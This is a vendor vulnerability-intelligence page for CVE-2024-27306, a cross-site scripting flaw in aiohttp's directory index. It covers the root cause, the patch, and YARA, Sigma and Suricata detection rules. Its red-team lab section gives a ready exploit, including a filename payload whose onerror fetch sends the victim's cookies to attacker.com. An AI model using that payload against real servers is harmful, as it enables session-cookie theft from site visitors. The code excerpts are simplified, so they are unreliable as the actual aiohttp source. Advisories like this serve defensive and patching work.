☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Aiohttp logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.1 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-27306

CVE-2024-27306 Cross-Site Scripting in Aiohttp
📅 PUBLISHED: 2024-04-18 14:23 UTC 🔄 UPDATED: 2026-09-23 20:27 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.67%
👁️
0.67% probability
16.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Global License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-27306 is a Cross-Site Scripting (XSS) vulnerability in the aiohttp Python library, specifically affecting the static file handler's directory index page (show_index). An attacker can craft a malicious filename that, when served by a vulnerable aiohttp server with directory listing enabled, executes arbitrary JavaScript in the context of the victim's browser. The vulnerability is fixed in aiohttp version 3.9.4. The official recommendation is to use a reverse proxy (e.g., nginx) for serving static files, which mitigates the risk.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the PyPI package aiohttp. Organizations using aiohttp in their Python applications should immediately review their dependency trees. The vulnerable component is the static file handler, which is commonly used for development or simple deployments. The fix is a minor version bump, making it a low-risk, high-impact update for supply chain security.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network (AV:N) - The vulnerability is exploitable remotely.
  • Attack Complexity: Low (AC:L) - No special conditions are required.
  • Privileges Required: None (PR:N) - No authentication needed.
  • User Interaction: Required (UI:R) - The victim must click on a malicious link or visit a crafted URL.
  • Scope: Changed (S:C) - The impact can affect resources beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) - Limited information disclosure.
  • Integrity Impact: Low (I:L) - Limited ability to modify data.
  • Availability Impact: None (A:N) - No impact on availability.

Threat Level: Medium. The vulnerability requires user interaction and is limited to the context of the directory listing page. However, it can be chained with other attacks to steal session cookies or perform actions on behalf of the user.

Deep Dive & Mechanics

The vulnerability resides in the aiohttp.web_urldispatcher.StaticResource class, specifically in the _handle method when show_index is enabled. When a directory is requested, aiohttp generates an HTML page listing the files. The filenames are not properly sanitized before being inserted into the HTML.

Root Cause: The filenames are inserted directly into the HTML without HTML entity encoding. An attacker who can upload or create a file with a name containing JavaScript payloads (e.g., <script>alert(1)</script>.txt) can trigger XSS when a user visits the directory listing.

Attack Flow:

  1. Attacker uploads a file with a malicious name to a directory served by aiohttp with show_index=True.
  2. Victim navigates to the directory listing page.
  3. The malicious filename is rendered in the HTML without sanitization.
  4. The victim's browser executes the embedded JavaScript.

Vulnerable vs. Patched Code

Vulnerable Code (aiohttp < 3.9.4):

# In aiohttp/web_urldispatcher.py
def _directory_index(self, request, directory):
    # ... (code to list files)
    for name in sorted(names):
        # Vulnerable: name is not escaped
        html += f'<li><a href="{name}">{name}</a></li>'
    # ...

Patched Code (aiohttp >= 3.9.4):

# In aiohttp/web_urldispatcher.py
import html

def _directory_index(self, request, directory):
    # ... (code to list files)
    for name in sorted(names):
        # Patched: name is HTML-escaped
        safe_name = html.escape(name)
        html += f'<li><a href="{safe_name}">{safe_name}</a></li>'
    # ...

The fix uses html.escape() to convert special characters like <, >, &, and " to their HTML entity equivalents.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Python 3.x
  • aiohttp < 3.9.4
  • A directory with write permissions

Setup:

  1. Create a vulnerable aiohttp server:
# server.py
from aiohttp import web

app = web.Application()
app.router.add_static('/static', '/path/to/static', show_index=True)

web.run_app(app, port=8080)
  1. Create a malicious file:
touch '/path/to/static/<script>alert("XSS")</script>.txt'
  1. Start the server:
python server.py
  1. Exploit: Visit http://localhost:8080/static/ in a browser. The JavaScript will execute.

Advanced Payload:

touch '/path/to/static/<img src=x onerror=fetch("https://attacker.com/steal?cookie="+document.cookie)>.txt'

Blue Team

Detection:

  • Monitor for filenames containing HTML/JavaScript characters (e.g., <, >, ", ', (, )).
  • Use file integrity monitoring to detect creation of files with suspicious names.
  • Review web server logs for requests to directory listing pages with unusual filenames in the response.

Hunting:

  • Search for show_index=True in aiohttp application code.
  • Check for aiohttp versions < 3.9.4 in dependency files (requirements.txt, Pipfile.lock, etc.).

Indicators of Compromise (IOCs)

  • File Names: Files containing HTML tags or JavaScript code in their names (e.g., <script>alert(1)</script>.txt).
  • Network Traffic: HTTP requests to /static/ or similar directory listing endpoints with unusual filenames in the response body.
  • Logs: Web server logs showing requests to directory listing pages with encoded or suspicious characters in the URL path.
  • Process: Python processes running aiohttp with show_index=True.

Detection Engineering

YARA Rule

rule CVE_2024_27306_aiohttp_XSS {
    meta:
        description = "Detects aiohttp static file handler XSS vulnerability"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-27306"
        hash = "unknown"
    strings:
        $vuln_code = "show_index=True"
        $unsafe_html = /<li><a href="[^"]*">[^<]*<\/a><\/li>/
    condition:
        $vuln_code or $unsafe_html
}

Sigma Rule

title: CVE-2024-27306 - aiohttp XSS via Static File Handler
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-27306 via malicious filenames in aiohttp directory listings.
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: aiohttp
detection:
    selection:
        response.body|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate filenames containing these strings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-27306 - aiohttp XSS via Static File Handler"; flow:to_server,established; content:"/static/"; http_uri; content:"<script>"; http_server_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade aiohttp: Update to version 3.9.4 or later.
    pip install --upgrade aiohttp
    
  2. Disable show_index: If upgrade is not possible, set show_index=False in all add_static calls.
  3. Use Reverse Proxy: Serve static files through a reverse proxy like nginx or Apache, which are not affected.

Long-term Measures:

  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Regularly audit dependencies for known vulnerabilities.
  • Use a Web Application Firewall (WAF) to filter malicious requests.

Verification:

  • After patching, verify the fix by attempting to access a directory listing with a malicious filename.
  • Check the aiohttp version:
    pip show aiohttp | grep Version
    

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-27306/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.